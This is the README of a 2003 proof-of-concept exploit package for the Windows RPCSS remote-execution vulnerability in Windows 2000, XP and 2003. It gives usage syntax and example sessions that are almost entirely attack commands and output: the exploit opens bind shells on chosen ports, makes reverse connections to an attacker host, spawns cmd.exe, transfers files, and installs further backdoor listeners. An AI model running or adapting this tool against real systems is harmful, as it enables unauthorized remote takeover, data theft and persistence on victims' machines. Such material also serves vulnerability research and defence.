
PROOF OF CONCEPT CODE
---------------------

  In this package you will find the following files:

  w32_rpcss-ra-2kXP.c     exploit for windows 2000 sp:0-4 / windows XP sp:0-1
  w32_rpcss-ra-2003.c     exploit for windows 2003 (with stack guard protection)
  wasm.c                  winasm manager 
  wasm.dat                compiled asmcodes
  makefile.*              makefiles for unix and windows


  usage: exp [-e address wacfg 1|2]|[-n wacfg]

  -e parameter will run exploit against specified target system (address), 
     with specified winasm configuration (wacfg), distinguishing if it is 
     first or one of the next tries against the same system (1|2).
  -n parameter will run winasm manager with specified configuration (wacfg)

  examples:

  1) first run on target.com, asmcode binds and waits on tcp port 3333 
     exp -e target.com "bind(3333)" 1

  2) second run on target.com, asmcode binds and waits on tcp port 4444
     exp -e target.com "bind(4444)" 2

  3) third run on target.com, asmcode performs cyclic backward connections
     to attacker.com (the system you run exploit from) on port 5555 every
     60 seconds
     exp -e target.com "conn(attacker.com,5555,60)" 1


EXAMPLE SESSION
---------------
  
  6.6.6.6 attacker system 
  1.2.3.4 target system 

  z:\> w32_rpcss-ra-2003 -e 1.2.3.4 "bind(3333)" 1
  copyright LAST STAGE OF DELIRIUM apr 2003 poland  //lsd-pl.net/
  rpc 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57 v0.0 fun 1 svchost.exe (rpcss.dll)
  windows 2003 (with stack guard protection)

  [ core: xore,init,fork,wsai,bind(3333),disp (763 bytes)
  [ initializing rpc ncacn_ip_tcp:1.2.3.4[135] (16 connections)
  [ transferring data (22613184 bytes) .................... ok
  [ exploiting vulnerability
  [ trying connect to 1.2.3.4 3333
  [ connection established
  [ ready
  > help
  cmd  -execute cmd.exe (to quit type 'exit' or press CTRL-C)
  put  c:\file.txt -upload file.txt from local directory to c:\
  get  c:\file.txt -download file.txt from c:\ to local directory
  inst bind(1234) -fork,bind and listen on 1234 port
  inst conn(1.2.3.4,1234,60) -fork,try connect to 1.2.3.4 1234 every 60s
  kill -terminate the process
  exit -disconnect
  > cmd
  [ plug: main (598 bytes)
  [ uploading
  [ run cmd.exe
  Microsoft Windows [Version 5.2.3790]
  (C) Copyright 1985-2003 Microsoft Corp.
  
  G:\WINDOWS\system32>ver
  ver
  
  Microsoft Windows [Version 5.2.3790]
  
  G:\WINDOWS\system32>
  [ CTRL-C
  [ end
  > exit
  [ end
  
  z:\> w32_rpcss-ra-2003 -n "conn(1.2.3.4,3333)"
  copyright LAST STAGE OF DELIRIUM apr 2003 poland  //lsd-pl.net/
  rpc 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57 v0.0 fun 1 svchost.exe (rpcss.dll)
  windows 2003 (with stack guard protection)
  
  [ mgmt: conn(1.2.3.4,3333)
  [ trying connect to 1.2.3.4 3333
  [ connection established
  [ ready
  > cmd
  [ plug: main (598 bytes)
  [ uploading
  [ run cmd.exe
  Microsoft Windows [Version 5.2.3790]
  (C) Copyright 1985-2003 Microsoft Corp.
  
  G:\WINDOWS\system32>exit
  exit
  > kill
  [ end
  
  z:\> w32_rpcss-ra-2003 -e 1.2.3.4 "conn(6.6.6.6,7777,60)" 2
  copyright LAST STAGE OF DELIRIUM apr 2003 poland  //lsd-pl.net/
  rpc 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57 v0.0 fun 1 svchost.exe (rpcss.dll)
  windows 2003 (with stack guard protection)
  
  [ core: xore,init,fork,wsai,conn(6.6.6.6,7777,60),disp (759 bytes)
  [ initializing rpc ncacn_ip_tcp:1.2.3.4[135] (1 connection)
  [ transferring data (5324 bytes)  ok
  [ exploiting vulnerability
  [ wait for connections 6.6.6.6 7777
  [ connection accepted
  [ ready
  > kill
  [ end
  
  z:\> w32_rpcss-ra-2003 -e 1.2.3.4 "conn(6.6.6.6,7777,60)" 2
  copyright LAST STAGE OF DELIRIUM apr 2003 poland  //lsd-pl.net/
  rpc 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57 v0.0 fun 1 svchost.exe (rpcss.dll)
  windows 2003 (with stack guard protection)
  
  [ core: xore,init,fork,wsai,conn(6.6.6.6,7777,60),disp (759 bytes)
  [ initializing rpc ncacn_ip_tcp:1.2.3.4[135] (1 connection)
  [ transferring data (5324 bytes)  ok
  [ exploiting vulnerability
  [ wait for connections 6.6.6.6 7777
  [ connection accepted
  [ ready
  > inst bind(8888)
  [ plug: bind(8888) (750 bytes)
  [ uploading
  > kill
  [ end
  
  z:\> w32_rpcss-ra-2003 -n "conn(1.2.3.4,8888)"
  copyright LAST STAGE OF DELIRIUM apr 2003 poland  //lsd-pl.net/
  rpc 4d9f4ab8-7d1c-11cf-861e-0020af6e7c57 v0.0 fun 1 svchost.exe (rpcss.dll)
  windows 2003 (with stack guard protection)
  
  [ mgmt: conn(1.2.3.4,8888)
  [ trying connect to 1.2.3.4 8888
  [ connection established
  [ ready
  > cmd
  [ plug: main (598 bytes)
  [ uploading
  [ run cmd.exe
  Microsoft Windows [Version 5.2.3790]
  (C) Copyright 1985-2003 Microsoft Corp.
  
  G:\WINDOWS\system32>
  [ CTRL-C
  [ end
  > kill
  [ end
  
  z:\>

-------
copyright LAST STAGE OF DELIRIUM jul 2003 poland        
http://lsd-pl.net/

